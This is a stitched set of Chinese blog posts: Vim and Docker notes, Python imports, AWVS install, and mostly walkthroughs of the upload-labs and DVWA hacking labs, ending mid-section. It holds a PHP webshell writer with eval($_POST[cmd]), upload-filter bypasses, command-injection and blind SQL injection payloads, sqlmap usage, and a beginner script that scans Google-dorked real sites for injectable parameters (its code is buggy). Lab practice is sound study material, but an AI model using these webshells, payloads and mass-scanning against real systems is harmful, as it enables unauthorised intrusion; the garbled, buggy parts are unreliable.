dd → 删除当前行,并把删除的行存到剪贴板里
p → 粘贴剪贴板
a → 在光标后插入
o → 在当前行后插入一个新行
O → 在当前行前插入一个新行
cw → 替换从光标所在位置后到一个单词结尾的字符
0 → 数字零,到行头
^ → 到本行第一个不是blank字符的位置(所谓blank字符就是空格,tab,换行,回车等)
$ → 到本行行尾
g_ → 到本行最后一个不是blank字符的位置。
/pattern → 搜索 pattern 的字符串(陈皓注:如果搜索出多个匹配,可按n键到下一个)
yy → 拷贝当前行当行于 ddP
u → undo
:e <path/to/file> → 打开一个文件
:w → 存盘
:saveas <path/to/file> → 另存为 <path/to/file>
:x, ZZ 或 :wq → 保存并退出 (:x 表示仅在需要时保存,ZZ不需要输入冒号并回车)
:q! → 退出不保存 :qa! 强行退出所有的正在编辑的文件,就算别的文件有更改。
:bn 和 :bp → 你可以同时打开很多文件,使用这两个命令来切换下一个或上一个文件。(陈皓注:我喜欢使用:n到下一个文件)
N<command> → 重复某个命令N次(比如100dd)NG → 到第 N 行 (陈皓注:注意命令中的G是大写的,另我一般使用 : N 到第N行,如 :137 到第137行)
gg → 到第一行。(陈皓注:相当于1G,或 :1)
G → 到最后一行。
% : 匹配括号移动,包括 (, {, [. (陈皓注:你需要把光标先移到括号上)

  • 和 #: 匹配光标当前所在的单词,移动光标到下一个(或上一个)匹配单词(*是下一个,#是上一个)

<start position><command><end position>

例如 0y$ 命令意味着:

0 → 先到行头
y → 从这里开始拷贝
$ → 拷贝到本行最后一个字符
你可可以输入 ye,从当前位置拷贝到本单词的最后一个字符。

你也可以输入 y2/foo 来拷贝2个 “foo” 之间的字符串。

还有很多时间并不一定你就一定要按y才会拷贝,下面的命令也会被拷贝:

d (删除 )
v (可视化的选择)
gU (变大写)
gu (变小写)
等等

J → 把所有的行连接起来(变成一行)
< 或 > → 左右缩进
= → 自动给缩进 (陈皓注:这个功能相当强大,我太喜欢了)
在 Insert 模式下,你可以输入一个词的开头,然后按 <C-p>或是<C-n>,自动补齐功能就出现了……

前言

一直都有看到各种工具的docker版本,但是由于个人的利用率不是很高,所以没有怎么了解过,但是最近遇到了ipsec配置到kali的问题,只能用docker,宝塔用的一脸懵(我可能是kali装宝塔第一人,害),所以还是好好学学docker的运用吧

笔记

交互式容器

runoob@runoob:~$ docker run -i -t ubuntu:15.10 /bin/bash
root@0123ce188bd8:/#
  • -t: 在新容器内指定一个伪终端或终端
  • -i: 允许你对容器内的标准输入 (STDIN) 进行交互。

后台模式启动容器

runoob@runoob:~$ docker run -d ubuntu:15.10 /bin/sh -c "while true; do echo hello world; sleep 1; done"
2b1b7a428627c51ab8810d541d759f072b4fc75487eed05812646b8534a2fe63 //容器id

我们需要确认容器有在运行,可以通过 docker ps 来查看

输出详情介绍:

  • CONTAINER ID: 容器 ID。
  • IMAGE: 使用的镜像。
  • COMMAND: 启动容器时运行的命令。
  • CREATED: 容器的创建时间。
  • STATUS: 容器状态。

    • created(已创建)
    • restarting(重启中)
    • running(运行中)
    • removing(迁移中)
    • paused(暂停)
    • exited(停止)
    • dead(死亡)
  • PORTS: 容器的端口信息和使用的连接类型(tcpudp)。
  • NAMES: 自动分配的容器名称。

前言

接触python有一段时间了,但是对import的使用还是一知半解`,在最近的开发中,遇到了关于import的问题,研究后写出来供大家参考

使用

import作用

import用来导入Package或者Module,导入后即可调用其功能

  • Package 通常Package是一个目录,导入的时候可以使用语句
from PackageName import ModuleName

或者Package目录下有入口文件__init__.py则可以直接

import PackageName

多数时候我们都在调用别人写好的package,有Idle自带的也有自己pip安装的

  • Module Module通常是一个文件,可以直接import导入
import ModuleName

也可以直接导入单一的功能

from ModuleName import FunctionName

Module常见格式有.py .pyo .pyc .pyd .so .dll 如果想导入多个module,则可以直接用逗号分隔开

import random, sys, os, socket

一个一个导入也可以

import random
import sys
import os
import socket

绝对导入和相对导入

在import的使用语法中,我们用.来替代/ 绝对导入和相对导入有些类似于绝对路径和相对路径 比如我们有以下目录结构

  • Root
  • __ init__.py

    • Package_one

      • Module_one.py
      • Module_two.py
    • Package_two

      • Module_three.py
      • Module_four.py
      • Package_three

        • __ init__.py

绝对导入

如果此时root目录下__init__.py想要导入Package_one中Module_one中的function_one 则可以使用以下语句

from Package_one.Module_one import function_one

绝对导入的优点是位置非常的明确和直接,PEP8明确建议采用绝对导入,同时缺点也很明确,在大的项目中,import可能会非常的冗长比如你可能出现

from XXX.XXX.XXX.XXXX.XXX.XXX import FunctionName

此时相对导入的好处就显现了出来

相对导入

就像相对路径一样,我们用一个.来表示当前目录,用两个..来表示上一级目录 还是刚才的目录结构

  • Root
  • __ init__.py

    • Package_one

      • Module_one.py
      • Module_two.py
    • Package_two

      • Module_three.py
      • Module_four.py
      • Package_three

        • __ init__.py 比如在Module_one中,我们要导入Module_two,那么我们可以直接
from . import Module_two

如果要导入Module_two中的function_one

from .Module_two import function_one

在跨目录时可以使用..来返回上级目录 比如我们要在Module_one中导入Module_four 则可以使用

from ..Package_two import Module_four

不幸的是,相对导入可能是混乱的,特别是对于目录结构可能改变的共享项目。相对导入也不像绝对导入一样可读,而且很难识别导入资源的位置。

原因

为了更好的解放双手,哦不,电脑,去做更有意义的事情,我斥巨资租了一个月的阿里云学生机,部署Awvs13

整活

我的机器装的是CentOS7

解决依赖问题

yum install bzip2 libXrender  libXext libXcursor  libXfixes libXcomposite libXrandr libXdamage  libXtst libXi cups-libs dbus-glib libXrandr libXcursor libXinerama cairo cairo-gobject pango  libXScrnSaver libatk-bridge-2.0.so.0 -y

下载

从国光师傅博客找的Awvs13

Awvs13

其他版本(Windows,Docker)可以去原文找(https://www.sqlsec.com/2020/04/awvs.html

开始安装

bash acunetix_13.0.200217097_x64_.sh
cp wvsc /home/acunetix/.acunetix/v_200217097/scanner/
cp license_info.json /home/acunetix/.acunetix/data/license/

我是root登录的,非root权限记得sudo

如果安装过程中报错

Checking os...
Checking for dependencies...
    - dependency libgdk-3.so.0 not found on the system
    - dependency libgdk_pixbuf-2.0.so.0 not found on the system
    - dependency libgtk-3.so.0 not found on the system
Some dependencies are not found on the system. Aborting installation.
Aborting installation

运行

yum provides libgdk-3.so.0

找到合适的包

yum install gtk3-3.22.30-3.el7.i686

附上基本操作

启动
sudo systemctl start acunetix_trial.service
停止
sudo systemctl stop acunetix_trial.service
重启
systemctl restart acunetix_trial.service

后记

出现了问题,可能阿里云有相关的限制,添加任务后无法进行扫描,直接Complete或者Failed
具体原因还没有查清

前言

有个朋友给我发来一个上古老站让我看看提权,但是我打开站点之后就只被注入点深深的吸引住了,因为有一个看上去很常见的waf,前段时间还有师傅在群里发过类似的,我寻思给他绕了
1.png

开始试图搞事情

在上面的提示中,貌似没有过滤order by,所以我们order by看一下有多少列
2.png

order by 10

返回正常

order by 11

返回数据库错误

在Msf的Payload的Rank列显示每个模块的级别
QQ图片20200709175228.png

Rank含义
Manual难以攻击成功
Low基本不可能成功,成功率低于50%
Average一般不会成功
Normal在特定版本中可以被利用成功
Good一般会成功
Great会自动检测到可利用的目标
Manual不会使服务器崩溃,基本可以放心使用,适用于Sql注入,命令执行,RFI等

前言

最近在准备比赛,发现自己基本的技能非常孱弱,大多停留在理论截断甚至理论都不清晰,实战经验过少,近期会不停的刷靶场来熟悉各种漏洞环境的利用

关于UPload_labs

1

upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共21关,每一关都包含着不同上传方式。
项目地址 https://github.com/c0ny1/upload-labs

实战操作

Pass-01

Pass-01是一个前端的Javascript验证,在F12中我们可以看到一个
2
这个东西说实话几乎所有的Web安全基础教程都有讲到,甚至这个function名称都是这么熟悉
目前想到的方式有三种

  1. 在允许的后缀名里面加入php
  2. 删去<form>中的return checkFile()
  3. 将一句话的后缀改为.jpg,通过前端验证后我们使用Burpsuite抓包来更改扩展名

我们尝试加入后缀和删除函数
3
4
均上传成功
5
这里遇到了一个问题,Chrome浏览器删除相关代码之后还是不可以,但是改变字符串可以明显看出来改变成功,最后使用FireFox成功

Pass-02

Pass-02仍然可以看出来有checkfile(),但是Pass-02没那么简单,还是先F12删去Checkfile(),删去后发现仍然上传失败,根据提示,检查了数据包的MIME,所以我们修改一下,改为图片
6
这样就Pass了
7

Pass-03

随便上传了一句话发现禁用了.php .asp后缀,大小写绕过无果,尝试解析漏洞,发现这次文件名会被重命名

http://192.168.159.129/upload/202006010321305073.fasdsad

于是通过.php3这类后缀来突破上传

Pass-04

04的黑名单相对就比较齐全了,但是还是没有过滤.htaccess,所以我们用.htaccess来绕过,也可以通过解析漏洞.php.xxxx来向上解析

AddType application/x-httpd-php  .jpg

先上传图片,再上.htaccess,jpg就会被当作php解析
8
这就成功Getshell了

Pass-05

提示是:存在readme.php这个文件,并且过滤了.htaccess,但是根据提示我们可以猜到可以使用user.ini

auto_prepend_file=1.gif

然后再上传一个包含一句话的1.gif,就可以包含到readme.php中,连接即可

Pass-06

06更加简单,我们可以看到源码中没有把所有的字符转为小写,直接大小写绕过
9

Pass-07

07又加入了全部转小写,并且也限制了.htaccess和.ini后缀但是在源码中删除了去空格的代码,所以我们加空格绕过
10
成功Getshell

Pass-08

禁止所有可解析的文件上传,所以我们抓包上传.php.

Pass-09

源码中不处理::$DATA
所以抓包改1.php::$DATA
菜刀连接的时候只填写1.php

Pass-10

类似Pass-08 但是只处理文件名末尾的. 所以我们抓包1.php. .即可绕过
11

Pass-11

$file_name = str_ireplace($deny_ext,"", $file_name);

这一行会把所有的违规后缀直接替换为空,所以我们使用双写绕过a.pphphp
12
上传进去的自然就是.php后缀

Pass-12

提示上传路径可控,我们使用00截断,在路径/upload/后加入/a.php%00,GET提交的参数%00可截断,但是POST提交需要在Hex中修改
13
上传成功
14

Pass-13

如12所说,在hex中改00来截断上传

Pass-14

要求文件包含来getshell,判断图片格式,那么我们传一个图片马,题目自带有include.php

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?> 

我们
http://192.168.159.129/include.php?file=/upload/4320200601165221.gif
就可以正常解析

Pass-15

使用getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING

级的错误信息,如果用这个函数来获取类型,从而判断是否是图片的话,会存在问题。

我们需要一个完全正常的图片马,建议使用edjpgcom来生成,其他步骤同Pass-14

Pass-16

同Pass-14 Pass-15相同,同一个马儿就可以过,此函数需要开启php_exif

Pass-17

没搞定

Pass-18

18提示需要代码审计
代码如下

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

新建了一个tmp_file作为临时文件,是一个竞争绕过上传,先一直先burp多线程发包,然后使用脚本来不停访问
15
要clear所有的$
写文件脚本

<?php 
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>'); 
?>

脚本

import requests
url = "http://192.168.159.129/upload/fputs.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

Pass-19

同18一样竞争绕过,但是是先判断后缀

Pass-20

使用文件后缀加.的方式绕过
16
上传成功

Pass-21

CTF题,现实中几乎遇不到这种情况,不做了

前言

我觉得Kali里面啊D最好用!
KaliD.jpg

正文

言归正传,由题,你可以看到,这是一期十分新手向的文章,是时候脱离脚本小子的范畴了!从写自己的第一个工具开始吧!
准备作案工具:

  • 一台电脑
  • Python3.X

Python强大丰富的第三方库让我们的安全工具开发变得方便和简单,比如requests和scapy,也就是说import在手天下我有,所以在此向各位看官强烈安利Python
python.jpg

相信以各位的聪明才智,Python环境的安装应该是难不倒大家的,网上太多的教程,我就不在此赘述了。先介绍一下我们今天要用的requests库吧

Requests 是用python语言编写的第三方库,基于 urllib,采用 Apache2 Licensed 开源协议的 HTTP 库

语句功能
requests.request()构造请求
requests.get()获取HTML网页,用于GET
requests.head()获取网页信息头
requests.post()提交POST请求
requests.put()对应HTTP协议中的PUT
requests.patch()对应HTTP协议中的PATCH
requests.delete()对应HTTP协议中的DELETE

安装方法:

pip install requests

在下载安装完成之后,我们敲上最重要的一行代码来调用requests库

from requests import *

然后接下来们大致捋一捋思路

  1. 要实现SQL注入漏洞的简单判断(新手向嘛)
  2. 需要循环来批量判断

你可能觉得听起来很简单,但是实际上做起来 更简单!
先说实现注入漏洞的简单判断,如果你也是小学生教程和各种上古教程的受害者,那么你一定知道这个方法

and 1=1
and 1=2

因为我们上面再调用requests库的时候用的是from requests import *而不是import requests,我们可以直接用get()来代替requests.get(),我们get().headers.get('Content-Length')这样可以得到返回的数据包头Content-Length值,只要判断and 1=1的情况下与原网页一致,and 1=2的时候与其他两个都不一样就好(会报错)
所以我们定义一个函数并且新建一个list来写这两个语句

def SqlInjection(url):
    Payload = ['and 1=1','and 2=2']
    v1 = get(url).headers.get('Content-Length')
    v2 = get(url+payload[0]).headers.get('Content-Length')
    v3 = get(url+payload[1]).headers.get('Content-Length')
    if v1 == v2 and v2 != v3:
        return True
    else:
        return False

现在判断注入功能基本实现,其实还有很多种判断方法,这里只说最简单的一点,毕竟新手向
我们再来实现批量,我们可以用采集器批量采集,也可以百度或者谷歌

inurl:.php?id=1

就可以得到所有在url中含有.php?id=1,也就是可能出现sql注入漏洞的页面,当然也可以自己写,requests库写爬虫也杠杠的,我们把结果导出到Website.txt中,接下来就更简单了,基本的文件读写和循环语句

f = open("Website.txt","r") #只读
while True:
    url = f.readline()
    result = SqlInjection(url)
    if result == True:
        print ("%s Is Usable"%url)
    else:
        print ("%s Is Unusable"%url)
f.close()

其实有更好的办法,例如把可用的注入点导入到一个文件里等等,这里只说一个最简单的(毕竟新手向嘛!手动狗头)总的来说就是

    from requests import *
    def SqlInjection(url):
        Payload = ['and 1=1','and 2=2']
        v1 = get(url).headers.get('Content-Length')
        v2 = get(url+payload[0]).headers.get('Content-Length')
        v3 = get(url+payload[1]).headers.get('Content-Length')
        if v1 == v2 and v2 != v3:
            return True
        else:
            return False
    f = open("Website.txt","r") #只读
    while True:
        url = f.readline()
        result = SqlInjection(url)
        if result == True:
            print ("%s Is Usable"%url)
        else:
            print ("%s Is Unusable"%url)
    f.close()

就是这么简单,从一个简单的判断注入,到根据学习可以更好的判断注入,到可以实现注入语句的执行和返回,再到识别甚至绕过waf,下一个sqlmap不是梦!

前言

在日常的渗透测试的学习中,实战是提升个人水平的最好方法,就像动手敲代码比一直看枯燥的Docs有意思的多,但是直接用别人的站实战会触犯《网络安全法》,所以靶场的作用就越来越明显了,DVWA是本人接触过的最早的一个靶场,也是个人认为很不错的一个靶场,分为Low Medium High Impossible四个等级,可以让人从浅到深的理解的漏洞原理和利用漏洞,本文是直接上high这个等级了,毕竟low的漏洞情况在目前的实战来说已经很难遇见了

关于

DVWA共有14个漏洞选项,我们逐一来看

  • Brute Force
  • Command Injection
  • CSRF
  • File Inclusion
  • File Upload
  • Insecure CAPTCHA
  • SQL Injection
  • SQL Injection (Blind)
  • Weak Session IDs
  • XSS (DOM)
  • XSS (Reflected)
  • XSS (Stored)
  • CSP Bypass
  • JavaScript

正文

Brute Force(暴力破解)

我们先来看看High.php

<?php
if( isset( $_GET[ 'Login' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
        // Sanitise username input
        $user = $_GET[ 'username' ];
        $user = stripslashes( $user );
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        // Sanitise password input
        $pass = $_GET[ 'password' ];
        $pass = stripslashes( $pass );
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass = md5( $pass );
        // Check database
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        if( $result && mysqli_num_rows( $result ) == 1 ) {
                // Get users details
                $row    = mysqli_fetch_assoc( $result );
                $avatar = $row["avatar"];
                // Login successful
                $html .= "<p>Welcome to the password protected area {$user}</p>";
                $html .= "<img src=\"{$avatar}\" />";
        }
        else {
                // Login failed
                sleep( rand( 0, 3 ) );
                $html .= "<pre><br />Username and/or password incorrect.</pre>";
        }
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>

High级别的暴力破解加了一个防止CSRF的验证token,使用了stripslashes()等函数来转义或过滤,虽然加大了爆破的难度但是还是可以暴力破解
我们先正常抓包
爆破1.PNG
得到完整数据包之后,我们把需要爆破的参数范围选中user_token和password,选择Pitchfork攻击类型
爆破2.PNG
找到Redirections选中always允许重定向
爆破3.PNG
最后在Options中找到Grep-Extract模块,点击Add,并设置筛选条件,得到user_token
爆破4.PNG
然后设置payload,带token参数的paylaod直接把token粘贴进去就可以了,其他照常
然后开始爆破就可以了,关于其他文章提到的线程设置为1,新版本的burpsuite在我设置了Pitchfork之后就默认为1不可更改了,所以这个问题不用叙述了

Command Injection(命令执行)

我们先简单的试一下
命令1.PNG
可见$被过滤了,作为一个懒人,实在是懒得继续试了,直接看代码叭

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = trim($_REQUEST[ 'ip' ]);
        // Set blacklist
        $substitutions = array(
                '&'  => '',
                ';'  => '',
                '| ' => '',
                '-'  => '',
                '$'  => '',
                '('  => '',
                ')'  => '',
                '`'  => '',
                '||' => '',
        );
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
                // Windows
                $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
                // *nix
                $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
        // Feedback for the end user
        $html .= "<pre>{$cmd}</pre>";
}
?>

代码可以看见将$;()都进行了转换,转成了空字符串,这也就导致了我们输入的这些能同时执行其他命令的符号都无法使用了
但是仔细看过滤 "| ",如果我们把后面的空格删去直接执行,也是可以执行的
命令2.PNG

CSRF

还是看源代码high.php

<?php
if( isset( $_GET[ 'Change' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
                // They do!
                $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
                $pass_new = md5( $pass_new );

                // Update the database
                $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

                // Feedback for the user
                $html .= "<pre>Password Changed.</pre>";
        }
        else {
                // Issue with passwords matching
                $html .= "<pre>Passwords did not match.</pre>";
        }

        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>

由上面的代码可见,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,提交的参数带有正确的token才能执行,我们可以利用burp的插件CSRFTokenTracker绕过token验证,这里我借用一下其他人的图片
csrf.png
装好之后,设置好名称和内容就可以直接去repeater里面作案了,每次的token会自动刷新

File Inclusion(文件包含)

还是看一眼high.php

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
        // This isn't the page we want!
        echo "ERROR: File not found!";
        exit;
}
?>

这次的代码量很小,看起来巴适的很,大概解读一下

if( !fnmatch( "file*", $file ) && $file != "include.php" )

如果 (没有这个文件 或者 这个文件不是include.php),那么就不会执行,但是我们可以使用file协议绕过
文件包含.PNG
过于简单,不赘述了

File Upload(文件上传)

老规矩,你麻麻喊你看high.php!!

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
        // Is it an image?
        if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
                ( $uploaded_size < 100000 ) &&
                getimagesize( $uploaded_tmp ) ) {

                // Can we move the file to the upload folder?
                if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
                        // No
                        $html .= '<pre>Your image was not uploaded.</pre>';
                }
                else {
                        // Yes!
                        $html .= "<pre>{$target_path} succesfully uploaded!</pre>";
                }
        }
        else {
                // Invalid file
                $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
        }
}
?>

可以看到getimagesize()函数来验证有没有相关的文件头等等,所以直接改格式不行,需要一个图片马儿,也会判断最后的'.'后的内容必须是jpg,jpeg,png三者之一
图片马的制作很简单,打开cmd

copy shell.php/b+test.png/a hack.png

或者简单的用记事本打开图片,在里面加入一句话也可以,方法不少,然后我们用00截断的方式来绕过上传,具体的操作请看Web上传漏洞总结

Insecure CAPTCHA(不安全验证码)

Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。但个人觉得,这一模块的内容叫做不安全的验证流程更妥当些,因为这块主要是验证流程出现了逻辑漏洞,谷歌的验证码表示不背这个锅。
服务器通过调用recaptcha_check_answer函数检查用户输入的正确性。

recaptcha_check_answer($privkey,$remoteip, $challenge,$response)

=========================================================以上来自FreeBu===========================================
还是先来看看熟悉的high.php叭哈哈哈哈

<?php
if( isset( $_POST[ 'Change' ] ) ) {
        // Hide the CAPTCHA form
        $hide_form = true;
        // Get input
        $pass_new  = $_POST[ 'password_new' ];
        $pass_conf = $_POST[ 'password_conf' ];
        // Check CAPTCHA from 3rd party
        $resp = recaptcha_check_answer(
                $_DVWA[ 'recaptcha_private_key' ],
                $_POST['g-recaptcha-response']
        );

        if (
                $resp || 
                (
                        $_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
                        && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
                )
        ){
                // CAPTCHA was correct. Do both new passwords match?
                if ($pass_new == $pass_conf) {
                        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
                        $pass_new = md5( $pass_new );

                        // Update database
                        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
                        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
                        // Feedback for user
                        $html .= "<pre>Password Changed.</pre>";

                } else {
                        // Ops. Password mismatch
                        $html     .= "<pre>Both passwords must match.</pre>";
                        $hide_form = false;
                }

        } else {
                // What happens when the CAPTCHA was entered incorrectly
                $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
                $hide_form = false;
                return;
        }

        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>

可以判断出当$resp == False以及g-recaptcha-response != hidd3n_valu3或者HTTP_USER_AGENT != reCAPTCHA的时候,验证码为错误,$resp的值我们控制不了,是由recaptcha_check_answer()决定的,所以我从g-recaptcha-response和HTTP_USER_AGENT入手
burpsuite抓包看看
验证码1.PNG
我们更改HTTP_USER_AGENT的值为reCAPTCHA
添加g-recaptcha-response的值为hidd3n_valu3
就ok了

SQL Injection(SQL注入)

high.php

<?php
if( isset( $_SESSION [ 'id' ] ) ) {
        // Get input
        $id = $_SESSION[ 'id' ];

        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
        // Get results
        while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }

        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);                
}
?>

和文件包含一样的简洁,舒服,前端比low多了一个弹出框
sql1.PNG
由于多了一个页面,所以我们不能直接sqlmap-u这样的语法了,而且还有cookie和session的限制(可以填进去,看看usage)
所以我们要用到--second-order,抓个包,将内容都放到1.txt中然后执行

sqlmap -r 1.txt -p id  --second-order "http://192.168.242.1/dvw/vulnerabilities/sqli/"  --level  2

这里再借一张图
来自e-learn.cn

SQL Injection (Blind)

High.php

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
        // Get input
        $id = $_COOKIE[ 'id' ];

        // Check database
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

        // Get results
        $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
        if( $num > 0 ) {
                // Feedback for end user
                $html .= '<pre>User ID exists in the database.</pre>';
        }
        else {
                // Might sleep a random amount
                if( rand( 0, 5 ) == 3 ) {
                        sleep( rand( 2, 4 ) );
                }

                // User wasn't found, so the page wasn't!
                header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

                // Feedback for end user
                $html .= '<pre>User ID is MISSING from the database.</pre>';
        }

        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

以下方法来自Freebuf基于布尔的盲注
抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

抓包将cookie中参数id改为1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;

抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。

Weak Session IDs

任然是看high.php

<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
        if (!isset ($_SESSION['last_session_id_high'])) {
                $_SESSION['last_session_id_high'] = 0;
        }
        $_SESSION['last_session_id_high']++;
        $cookie_value = md5($_SESSION['last_session_id_high']);
        setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
?>

这个文章写到这里其实我已经快吐了,但是这个代码如此简短让我实在是开心的不得了,看到$cookie_value就是md5加密了last_session_id_high,然后last_session_id_high这个值初始为0,然后逐个+1然后md5加密,所以这个cookie校验对我们无效,构造payload使用火狐提交。

XSS (DOM)

high.php

<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
        # White list the allowable languages
        switch ($_GET['default']) {
                case "French":
                case "English":
                case "German":
                case "Spanish":
                        # ok
                        break;
                default:
                        header ("location: ?default=English");
                        exit;
        }
}
?>

正常来看我们提交按钮
http://192.168.159.129/vulnerabilities/xss_d/?default=English
然后页面内容为

<option value=''>English</option>

我们在里面插入Javascipt语句

